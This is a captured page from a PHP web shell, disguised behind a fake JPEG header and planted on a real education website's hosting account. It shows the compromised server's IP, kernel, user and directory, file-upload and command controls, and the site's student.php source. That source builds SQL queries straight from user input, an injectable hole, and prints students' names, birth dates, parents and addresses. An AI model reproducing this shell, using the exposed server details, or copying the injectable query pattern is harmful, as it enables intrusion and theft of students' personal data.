���� JFIF    aewtgwgerwasdasd403WebShell
403Webshell
Server IP : 147.93.80.58  /  Your IP : 216.73.216.195
Web Server : LiteSpeed
System : Linux id-dci-web1866.main-hosting.eu 5.14.0-503.38.1.el9_5.x86_64 #1 SMP PREEMPT_DYNAMIC Fri Apr 18 08:52:10 EDT 2025 x86_64
User : u939086737 ( 939086737)
PHP Version : 8.2.28
Disable Function : system, exec, shell_exec, passthru, mysql_list_dbs, ini_alter, dl, symlink, link, chgrp, leak, popen, apache_child_terminate, virtual, mb_send_mail
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/u939086737/domains/aaryaedutech.com/public_html/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/u939086737/domains/aaryaedutech.com/public_html/student.php
<?php include 'action/config.php'; ?>
<!DOCTYPE html>
<html lang="en">

<head>
    <!-- Required meta tags -->
    <meta charset="utf-8">
    <meta name="viewport" content="width=device-width, initial-scale=1">

    <!-- Link of CSS files -->
    <link rel="stylesheet" href="assets/css/bootstrap.min.css">
    <link rel="stylesheet" href="assets/css/owl.carousel.min.css">
    <link rel="stylesheet" href="assets/css/remixicon.css">
    <link rel="stylesheet" href="assets/css/magnific-popup.min.css">
    <link rel="stylesheet" href="assets/css/header.css">
    <link rel="stylesheet" href="assets/css/style.css">
    <link rel="stylesheet" href="assets/css/footer.css">
    <link rel="stylesheet" href="assets/css/responsive.css">
    <link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/font-awesome/4.7.0/css/font-awesome.min.css">


    <title><?= $shop . ' | ' . $page ?></title>
    <link rel="icon" type="image/png" href="assets/img/all-img/favicon.png">
</head>

<body>
    <?php include './header.php' ?>

    <!--  Page Title Area Start-->
    <section class="page-title-area position-relative">
        <div class="container">
            <div class="main-max-width">
                <div class="page-title-content">
                    <h2>Check Enrollment</h2>
                    <ul class="page-breadcrumb align-items-center list-unstyle">
                        <li class="breadcrumb-item"><a href="./">Home</a></li>
                        <li class="breadcrumb-item"></li>
                        <li class="primery-link">Check Enrollment</li>
                    </ul>
                    <div class="shape-1 moveHorizontal">
                        <img src="assets/img/icon/shape-2.svg" alt="image">
                    </div>
                    <div class="shape-2">
                        <img src="assets/img/icon/section-icon-1.svg" alt="image">
                    </div>
                    <div class="shape-3 bounce">
                        <img src="assets/img/icon/section-icon-2.svg" alt="image">
                    </div>
                </div>
            </div>
        </div>
    </section>
    <!--  Page Title Area End-->

    <!--  Sign in Section Start-->
    <div class="sign-in-section ptb-100">
        <div class="container">
            <div class="main-max-width">
                <form method="POST">
                    <div class="row">
                        <div class="col-md-4 mb-30">
                            <label class="fw-bold m-0">Registration Number</label>
                            <input class="form-control" type="text" name="reg_num" placeholder="" required>
                        </div>
                        <div class="col-md-4 mb-30 d-none">
                            <label>Date Of Birth</label>
                            <input class="form-control" type="date" name="dob">
                        </div>
                    </div>
                    <div class="form-group mb-0">
                        <input class="btn btn-primary" type="submit" name="check_enroll" value="Check Now">
                    </div>
                </form>
                <hr>
                <?php if (isset($_POST['check_enroll'])) {
                    $reg_num = $_POST['reg_num'];
                    // $dob = $_POST['dob'];

                    $qry = mysqli_query($con, "SELECT * FROM `students` WHERE reg_num='$reg_num' ");
                    if (mysqli_num_rows($qry) == 0) {
                        
                        $qry2 = mysqli_query($con, "SELECT * FROM `register` WHERE enrollment='$reg_num' ");
                        
                        if (mysqli_num_rows($qry2) == 0) {
                            echo '<h2 class="text-danger">Invalid Registration Number</h2>';
                        } else{
                            $r2 = mysqli_fetch_array($qry2);
                            ?>
                            <table class="table table-bordered">
                                <tbody>
                                    <tr>
                                        <th>Profile</th>
                                        <td><img style="height:150px;" src="admin/images/old-students/<?= $r2['files'] ?>"></td>
                                    </tr>
                                    <tr>
                                        <th>Registration Number</th>
                                        <th><?= $r2['enrollment'] ?></th>
                                    </tr>
                                    <tr>
                                        <th>Student Name</th>
                                        <td><?= $r2['name'] ?></td>
                                    </tr>
                                    <tr>
                                        <th>Date Of Birth</th>
                                        <td><?= date('d M Y', strtotime($r2['dob'])) ?></td>
                                    </tr>
                                    <tr>
                                        <th>Father Name</th>
                                        <td><?= $r2['fathername'] ?></td>
                                    </tr>
                                    <tr>
                                        <th>Mother Name</th>
                                        <td><?= $r2['mother_name'] ?></td>
                                    </tr>
                                    <tr>
                                        <th>Address</th>
                                        <td><?= $r2['address'] ?></td>
                                    </tr>
                                    <tr>
                                        <th>Center</th>
                                        <td><?= $r2['centername'].' - '.$r2['centercode'] ?></td>
                                    </tr>
                                    <tr>
                                        <th>Course </th>
                                        <td><?= $r2['course'] ?></td>
                                    </tr>
                                    <tr>
                                        <th>Admission Date</th>
                                        <td><?= ($r2['date']) ?></td>
                                    </tr>
                                    <tr>
                                        <th>Complete Date</th>
                                        <td><?= date('d M Y', strtotime($r2['c_i_d'])) ?></td>
                                    </tr>
                                    
                                </tbody>
                            </table>
                            <?php
                        }
                        // echo '<h2 class="text-danger">Invalid Registration Number</h2>';
                    } else {
                        $r = mysqli_fetch_array($qry);

                        ?>
                        <table class="table table-bordered">
                            <tbody>
                                <tr>
                                    <th>Profile</th>
                                    <td><img style="height:150px;" src="admin/images/<?= $r['image'] ?>"></td>
                                </tr>
                                <tr>
                                    <th>Registration Number</th>
                                    <th><?= $r['reg_num'] ?></th>
                                </tr>
                                <tr>
                                    <th>Student Name</th>
                                    <td>
                                        <?= $r['name'] ?>
                                    </td>
                                </tr>
                                <tr>
                                    <th>Date Of Birth</th>
                                    <td><?= date('d M Y', strtotime($r['dob'])) ?></td>
                                </tr>
                                <tr>
                                    <th>Father Name</th>
                                    <td><?= $r['father_name'] ?></td>
                                </tr>
                                <tr>
                                    <th>Mother Name</th>
                                    <td><?= $r['mother_name'] ?></td>
                                </tr>
                                <tr>
                                    <th>Address</th>
                                    <td><?= $r['address'] ?></td>
                                </tr>
                                <tr>
                                    <th>Center</th>
                                    <td>
                                        <?php
                                        $centerid = $r['center_id'];
                                        $qry5 = mysqli_fetch_array(mysqli_query($con, "SELECT * FROM `centers` WHERE id = '$centerid' "));
                                        echo $qry5['center_name'];
                                        ?>
                                    </td>
                                </tr>
                                <tr>
                                    <th>Course </th>
                                    <td>
                                        <?php
                                        $courseid = $r['course_id'];
                                        $qry6 = mysqli_fetch_array(mysqli_query($con, "SELECT * FROM `courses` WHERE id = ' $courseid' "));
                                        echo $qry6['course_name'];
                                        ?>
                                    </td>
                                </tr>
                                <tr>
                                    <th>Admission Date</th>
                                    <td><?= date('d M Y', strtotime($r['start_date'])) ?></td>
                                </tr>
                                <tr>
                                    <th>Complete Date</th>
                                    <td><?= date('d M Y', strtotime($r['end_date'])) ?></td>
                                </tr>
                                <tr>
                                    <th>Download Certificate</th>
                                    <td><a target="_blank" href="<?= $path2 . $r['aaddhar_pic'] ?>"><i class="fa fa-download "></i> Download</a></td>
                                </tr>
                            </tbody>
                        </table>
                        <?php
                    }
                }
                ?>
            </div>
        </div>
    </div>
    <!--  Sign in Section End-->
    <?php include './footer.php' ?>

</body>

</html>

Youez - 2016 - github.com/yon3zu
LinuXploit